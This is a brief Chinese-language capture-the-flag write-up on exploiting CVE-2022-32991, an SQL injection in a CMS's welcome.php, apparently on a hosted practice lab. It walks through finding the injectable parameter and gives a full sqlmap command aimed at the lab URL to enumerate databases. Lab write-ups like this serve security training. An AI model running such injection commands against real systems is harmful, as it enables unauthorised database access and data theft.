CVE-2022-32991
靶标介绍
该CMS的welcome.php中存在SQL注入攻击。
解题过程
进入主界面，没有明显可以注入的地方，先注册登录。
登录之后的界面
此处有个?q=1但是多次测试后，感觉不是注入点。
点击这个按钮，进入新的界面。
多次测试发现注入点
sqlmap梭哈
sqlmap -u "http://eci-2zeb8alt7sk432zz6n7j.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141f1e8399e*&n=1&t=10" --dbs
sqlmap指定参数进行注入
